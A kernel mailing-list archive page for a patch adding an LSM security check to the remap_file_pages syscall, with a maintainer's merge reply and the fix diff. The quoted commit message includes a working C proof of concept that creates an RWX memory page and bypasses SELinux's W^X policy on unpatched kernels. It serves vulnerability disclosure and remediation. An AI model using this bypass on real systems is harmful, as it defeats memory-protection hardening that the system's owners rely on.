| Message ID | 20240919080905.4506-2-paul@paul-moore.com (mailing list archive) |
|---|---|
| State | New |
| Headers | show |
| Series | mm: call the security_mmap_file() LSM hook in remap_file_pages() | expand |
On Thu, Sep 19, 2024 at 4:09 AM Paul Moore <paul@paul-moore.com> wrote: > > From: Shu Han <ebpqwerty472123@gmail.com> > > The remap_file_pages syscall handler calls do_mmap() directly, which > doesn't contain the LSM security check. And if the process has called > personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for > RW pages, this will actually result in remapping the pages to RWX, > bypassing a W^X policy enforced by SELinux. > > So we should check prot by security_mmap_file LSM hook in the > remap_file_pages syscall handler before do_mmap() is called. Otherwise, it > potentially permits an attacker to bypass a W^X policy enforced by > SELinux. > > The bypass is similar to CVE-2016-10044, which bypass the same thing via > AIO and can be found in [1]. > > The PoC: > > $ cat > test.c > > int main(void) { > size_t pagesz = sysconf(_SC_PAGE_SIZE); > int mfd = syscall(SYS_memfd_create, "test", 0); > const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, > MAP_SHARED, mfd, 0); > unsigned int old = syscall(SYS_personality, 0xffffffff); > syscall(SYS_personality, READ_IMPLIES_EXEC | old); > syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); > syscall(SYS_personality, old); > // show the RWX page exists even if W^X policy is enforced > int fd = open("/proc/self/maps", O_RDONLY); > unsigned char buf2[1024]; > while (1) { > int ret = read(fd, buf2, 1024); > if (ret <= 0) break; > write(1, buf2, ret); > } > close(fd); > } > > $ gcc test.c -o test > $ ./test | grep rwx > 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) > > Link: https://project-zero.issues.chromium.org/issues/42452389 [1] > Cc: stable@vger.kernel.org > Signed-off-by: Shu Han <ebpqwerty472123@gmail.com> > Acked-by: Stephen Smalley <stephen.smalley.work@gmail.com> > [PM: subject line tweaks] > Signed-off-by: Paul Moore <paul@paul-moore.com> > --- > mm/mmap.c | 4 ++++ > 1 file changed, 4 insertions(+) I've just merged this into the lsm/stable-6.12 branch and plan to send this to Linus shortly.
diff --git a/mm/mmap.c b/mm/mmap.c index 6ddb278a5ee8..0df568afe99d 100644 --- a/mm/mmap.c +++ b/mm/mmap.c @@ -3198,8 +3198,12 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size, flags |= MAP_LOCKED; file = get_file(vma->vm_file); + ret = security_mmap_file(vma->vm_file, prot, flags); + if (ret) + goto out_fput; ret = do_mmap(vma->vm_file, start, size, prot, flags, 0, pgoff, &populate, NULL); +out_fput: fput(file); out: mmap_write_unlock(mm);